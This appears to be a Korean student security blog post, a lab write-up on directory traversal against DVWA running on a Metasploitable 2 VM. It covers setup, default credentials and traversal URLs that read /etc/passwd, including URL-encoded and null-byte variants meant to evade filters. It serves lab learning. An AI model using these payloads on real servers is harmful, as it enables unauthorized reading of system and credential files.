[λͺ¨μ˜ν•΄ν‚Ή] μ›Ή μ„œλΉ„μŠ€ 취약점을 μ΄μš©ν•œ 디렉토리 이동 곡격

2025. 2. 11. 08:00·🚨 λ³΄μ•ˆ 싀무/λͺ¨μ˜ ν•΄ν‚Ή
728x90
λ°˜μ‘ν˜•

! 이 포슀트의 λ‚΄μš©μ€ (2019λ…„)  전곡 κ°•μ˜μ—μ„œ 닀룬 λ¦¬λˆ…μŠ€ λ³΄μ•ˆ μ‹€μŠ΅μ˜ 기둝용이며, μ΄λŠ” ν•™μŠ΅ λͺ©μ μœΌλ‘œλ§Œ μ‚¬μš©λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€.

! μ–΄λ– ν•œ κ²½μš°μ—λ„ μ΄λŸ¬ν•œ κΈ°μˆ μ„ μ•…μš©ν•˜κ±°λ‚˜ λΆˆλ²•μ μΈ ν™œλ™μ— μ‚¬μš©ν•΄μ„œλŠ” μ•ˆ λ©λ‹ˆλ‹€.

 

! λͺ¨μ˜ ν•΄ν‚Ήκ³Ό κ΄€λ ¨λœ μ‹€μŠ΅μ€ 합법적인 ν™˜κ²½μ—μ„œλ§Œ μˆ˜ν–‰λ˜μ–΄μ•Ό ν•˜λ©°, λ¬΄λ‹¨μœΌλ‘œ λ‹€λ₯Έ μ‚¬λžŒμ˜ μ‹œμŠ€ν…œμ— μ ‘κ·Όν•˜λŠ” λ“±μ˜ ν–‰μœ„λŠ” 법적인 문제둜 μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ κΈ°μˆ μ„ μ‚¬μš©ν•  λ•Œμ—λŠ” 항상 윀리적인 μ±…μž„μ„ κ°–κ³  행동해야 ν•©λ‹ˆλ‹€.

 

1️⃣ 디렉토리 이동 곡격 κ°œμš”

πŸ”Ή1. 디렉토리 이동 κ³΅κ²©μ΄λž€?

디렉토리 이동 곡격은 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μ‚¬μš©μž μž…λ ₯을 μ œλŒ€λ‘œ κ²€μ¦ν•˜μ§€ μ•Šμ„ 경우, κ³΅κ²©μžκ°€ 파일 μ‹œμŠ€ν…œ λ‚΄μ˜ λ―Όκ°ν•œ νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλ„λ‘ ν•˜λŠ” 취약점이닀. 이 곡격을 톡해 ``/etc/passwd``와 같은 μ‹œμŠ€ν…œ νŒŒμΌμ„ μ½κ±°λ‚˜, μ„œλ²„ λ‚΄μ˜ μ€‘μš”ν•œ μ„€μ • νŒŒμΌμ„ 유좜 ν•  수 μžˆλ‹€.


2️⃣ μ‹€μŠ΅ ν™˜κ²½ ꡬ성 μ€€λΉ„

πŸ”Ή1. μ‹€μŠ΅ ν™˜κ²½ ꡬ성

이번 μ‹€μŠ΅μ—μ„œλŠ” Metasploitableκ³Ό DVWAλ₯Ό ν™œμš©ν•˜μ—¬ 디렉토리 이동 곡격을 μˆ˜ν–‰ν•  것이닀.

  • ``Metasploitable 2``: μ·¨μ•½ν•œ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ ν¬ν•¨λœ ν…ŒμŠ€νŠΈμš© 가상 λ¨Έμ‹ 
  • ``DVWA``: μ›Ή λ³΄μ•ˆ ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•œ μ·¨μ•½ν•œ PHP 기반 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜

πŸ”Ή2. Metasploitable μ›Ή μ„œλΉ„μŠ€ 디렉토리 μ„€μ • 확인

  • λ¨Όμ €, Metasploitable μ„œλ²„μ—μ„œ μ›Ή μ„œλΉ„μŠ€ 디렉토리 섀정을 확인해야 ν•œλ‹€.
cat /etc/apache2/sites-enabled/000-default
  • μ„€μ • νŒŒμΌμ—μ„œ ``Indexes`` μ˜΅μ…˜μ΄ ν™œμ„±ν™”λ˜μ–΄ 있으면, 디렉토리 이동 곡격이 κ°€λŠ₯ν•  수 μžˆλ‹€.
  • ``Indexes``: 디렉토리 내에 κΈ°λ³Έ 인덱슀 파일(index.html λ“±)이 없을 경우, ν•΄λ‹Ή λ””λ ‰ν† λ¦¬μ˜ 파일 λͺ©λ‘μ„ μžλ™μœΌλ‘œ λ…ΈμΆœμ‹œν‚¨λ‹€.


πŸ”Ή3. μ›Ή 루트 디렉토리 탐색

  • μ›Ή 루트 디렉토리(/var/www)둜 μ΄λ™ν•œ ν›„ λ‚΄λΆ€ 파일 및 폴더λ₯Ό ν™•μΈν•œλ‹€.
  • 이 κ³Όμ •μ—μ„œ ``dvwa`` 디렉토리가 μ‘΄μž¬ν•˜λŠ” μ§€ ν™•μΈν•œλ‹€.
cd /var/www
ls -l


πŸ”Ή4. Metasploitable의 IP μ£Όμ†Œ 확인

  • Metasploitable의 IP μ£Όμ†Œλ₯Ό ν™•μΈν•˜μ—¬ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ ‘κ·Όν•  μ€€λΉ„λ₯Ό ν•œλ‹€.
ifconfig


3️⃣ DVWA μ„€μ • 및 접속

πŸ”Ή1. DVWA μ›Ή νŽ˜μ΄μ§€ 접속 및 μ„€μ • λ³€κ²½

  • λΈŒλΌμš°μ €λ₯Ό μ—΄κ³  ``Metasploitable``의 IP μ£Όμ†Œλ₯Ό μž…λ ₯ν•˜μ—¬ DVWA μ‚¬μ΄νŠΈμ— μ ‘μ†ν•œλ‹€.

  • 둜그인 νŽ˜μ΄μ§€μ—μ„œ λ‹€μŒκ³Ό 같이 μž…λ ₯ν•˜μ—¬ λ‘œκ·ΈμΈν•œλ‹€.
    • Username: ``admin``
    • Password: ``password``

  • 둜그인 ν›„ λ³΄μ•ˆ λ ˆλ²¨μ„ ``Low``둜 μ„€μ •ν•œλ‹€.


4️⃣ 디렉토리 이동 곡격 μ‹€μŠ΅

πŸ”Ή1. 기본적인 디렉토리 이동 곡격

  • 취약점이 μ‘΄μž¬ν•˜λŠ” URLμ—μ„œ 디렉토리 이동 곡격을 μ‹œλ„ν•œλ‹€.
http://[URL]/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
  • 이 곡격을 톡해 ``/etc/passwd`` νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλ‹€.


πŸ”Ή2. URL 인코딩을 ν™œμš©ν•œ 곡격

  • URL 인코딩을 μ μš©ν•˜μ—¬ 곡격이 νƒμ§€λ˜μ§€ μ•Šλ„λ‘ λ³€ν˜•ν•  수 μžˆλ‹€.
http://[URL]/dvwa/vulnerabilities/fi/?page=%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/etc/passwd


πŸ”Ή3. Null λ°”μ΄νŠΈ μ‚½μž… 곡격

  • 일뢀 λ³΄μ•ˆ ν•„ν„°λ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄ ``null byte (%00)``을 μΆ”κ°€ν•˜μ—¬ 곡격을 μ‹œλ„ν•  μˆ˜λ„ μžˆλ‹€.
http://[URL]/dvwa/vulnerabilities/fi/?page=%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/etc/passwd%00html


 

728x90
λ°˜μ‘ν˜•

'🚨 λ³΄μ•ˆ 싀무 > λͺ¨μ˜ ν•΄ν‚Ή' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

[λͺ¨μ˜ν•΄ν‚Ή] μœˆλ„μš° μ‹œμŠ€ν…œ κΆŒν•œ νƒˆμ·¨ ν›„ μ„œλ²„ λΉ„λ°€λ²ˆν˜Έ 해독  (0) 2025.02.28
[λͺ¨μ˜ν•΄ν‚Ή] John the Ripperλ₯Ό ν™œμš©ν•œ νŒ¨μŠ€μ›Œλ“œ ν•΄μ‹œ ν¬λž™  (0) 2025.02.28
[λͺ¨μ˜ν•΄ν‚Ή] μ›Ή μ„œλΉ„μŠ€ 취약점을 μ΄μš©ν•œ 파일 μ—…λ‘œλ“œ 곡격  (0) 2025.02.11
[λͺ¨μ˜ν•΄ν‚Ή] setoolkit을 μ΄μš©ν•œ ν”Όμ‹±μ‚¬μ΄νŠΈ λ§Œλ“€κΈ°  (0) 2025.02.11
[λͺ¨μ˜ν•΄ν‚Ή] Windows 2000 기반의 운영체제 μΉ¨νˆ¬ν•˜κΈ°  (0) 2025.02.10
'🚨 λ³΄μ•ˆ 싀무/λͺ¨μ˜ ν•΄ν‚Ή' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€
  • [λͺ¨μ˜ν•΄ν‚Ή] μœˆλ„μš° μ‹œμŠ€ν…œ κΆŒν•œ νƒˆμ·¨ ν›„ μ„œλ²„ λΉ„λ°€λ²ˆν˜Έ 해독
  • [λͺ¨μ˜ν•΄ν‚Ή] John the Ripperλ₯Ό ν™œμš©ν•œ νŒ¨μŠ€μ›Œλ“œ ν•΄μ‹œ ν¬λž™
  • [λͺ¨μ˜ν•΄ν‚Ή] μ›Ή μ„œλΉ„μŠ€ 취약점을 μ΄μš©ν•œ 파일 μ—…λ‘œλ“œ 곡격
  • [λͺ¨μ˜ν•΄ν‚Ή] setoolkit을 μ΄μš©ν•œ ν”Όμ‹±μ‚¬μ΄νŠΈ λ§Œλ“€κΈ°
WISHee
WISHee
IT와 λ³΄μ•ˆμ— λŒ€ν•œ 곡뢀 기둝을 차곑차곑 μŒ“μ•„κ°€λŠ” 기술 λΈ”λ‘œκ·Έ πŸ›‘οΈπŸ’»
  • WISHee
    DevwithWish
    WISHee
  • 전체
    였늘
    μ–΄μ œ
    • 🌳 ROOT (128)
      • ⛓️ λ„€νŠΈμ›Œν¬ λ³΄μ•ˆ (10)
        • κΈ°λ³Έ κ°œλ… (9)
        • νŒ¨ν‚· 뢄석 (1)
        • μΉ¨μž… 탐지 및 λ°©μ§€ (0)
      • βš™οΈ μ‹œμŠ€ν…œ λ³΄μ•ˆ (0)
        • 운영체제 λ³΄μ•ˆ (0)
        • 취약점 뢄석 (0)
        • 둜그 뢄석 (0)
      • 🌐 μ›Ή λ³΄μ•ˆ (1)
        • OWASP TOP 10 (1)
        • μ›Ή μ„œλ²„ λ³΄μ•ˆ (0)
        • μ›Ή 취약점 뢄석 (0)
      • ☁️ ν΄λΌμš°λ“œ λ³΄μ•ˆ (3)
        • AWS (3)
      • πŸ” μ•”ν˜Έν™” & 인증 (3)
        • μ•”ν˜Έν™” κ°œλ… (2)
        • TLS,SSL (0)
        • 인증 & μ ‘κ·Όμ œμ–΄ (1)
      • 🚨 λ³΄μ•ˆ 싀무 (30)
        • λ³΄μ•ˆ κ΄€μ œ (14)
        • λͺ¨μ˜ ν•΄ν‚Ή (12)
        • 취약점 진단 (3)
        • λ””μ§€ν„Έν¬λ Œμ‹ (1)
      • πŸ“š ISMS & ISO27001 (9)
        • ISMS, ISMS-P 인증 (2)
      • πŸ“° λ³΄μ•ˆ λ‰΄μŠ€ & νŠΈλ Œλ“œ (1)
        • μ΅œμ‹  λ³΄μ•ˆ 이슈 (1)
        • 사이버 μœ„ν˜‘ 정보 (0)
        • λ³΄μ•ˆ 컨퍼런슀 리뷰 (0)
      • πŸ”₯ SKShieldusRookies (15)
        • Review (3)
        • PBL (0)
        • 과제 (4)
        • λͺ¨λ“ˆ ν”„λ‘œμ νŠΈ (8)
        • μ΅œμ’… ν”„λ‘œμ νŠΈ (0)
      • πŸ—‚οΈ Project (3)
        • SOAR (0)
        • BlockChain (3)
      • 🧩 Language (23)
        • Java (1)
        • Python (16)
        • Programmers (6)
      • πŸ‘₯ 버전관리 & ν˜‘μ—…λ„κ΅¬ (9)
        • Git, GitHub (4)
        • etc (5)
      • πŸ’œ 일상 (21)
        • Boot Camp (4)
        • Study (6)
        • Travel (8)
        • Study Abroad (3)
  • λΈ”λ‘œκ·Έ 메뉴

    • ν™ˆ
    • νƒœκ·Έ
    • λ°©λͺ…둝
  • 링크

    • GitHub
  • 곡지사항

    • λ°˜κ°‘μŠ΅λ‹ˆλ‹€!
  • 인기 κΈ€

  • νƒœκ·Έ

    μœ λŸ½μ—¬ν–‰
    ν”ŒλΌμŠ€ν¬
    λΈ”λ‘μ²΄μΈμ‹€μŠ΅
    λŸ°λ˜μ—¬ν–‰
    μœ λŸ½ν•œλ‹¬μ—¬ν–‰
    Github
    μ •λ³΄λ³΄μ•ˆ
    ν”„λ‘œκ·Έλž˜λ¨ΈμŠ€
    와이어샀크
    ν•œλ‹¬μ—¬ν–‰
    κΉƒν—ˆλΈŒ
    파이썬
    flask
    λ¦¬λˆ…μŠ€λ³΄μ•ˆ
    skμ‰΄λ”μŠ€λ£¨ν‚€μ¦ˆ
    λͺ½μƒλ―Έμ…Έ
    VSCode
    μœˆλ„μš°λ³΄μ•ˆ
    λ³΄μ•ˆμ‹€μŠ΅
    μ½”λ”©ν…ŒμŠ€νŠΈ
    ν•΄μ™Έμ—¬ν–‰
    μ˜Ήν”Œλ’°λ₯΄
    μΉΌλ¦¬λ¦¬λˆ…μŠ€
    git
    ν”„λž‘μŠ€μ—¬ν–‰
    ν˜‘μ—…λ„κ΅¬
    νŒŒλ¦¬μ—¬ν–‰
    λͺ¨μ˜ν•΄ν‚Ή
    Python
    slack
  • 졜근 λŒ“κΈ€

  • 졜근 κΈ€

  • 160x600
    250x250
  • hELLOΒ· Designed Byμ •μƒμš°.v4.10.3
WISHee
[λͺ¨μ˜ν•΄ν‚Ή] μ›Ή μ„œλΉ„μŠ€ 취약점을 μ΄μš©ν•œ 디렉토리 이동 곡격
μƒλ‹¨μœΌλ‘œ

ν‹°μŠ€ν† λ¦¬νˆ΄λ°”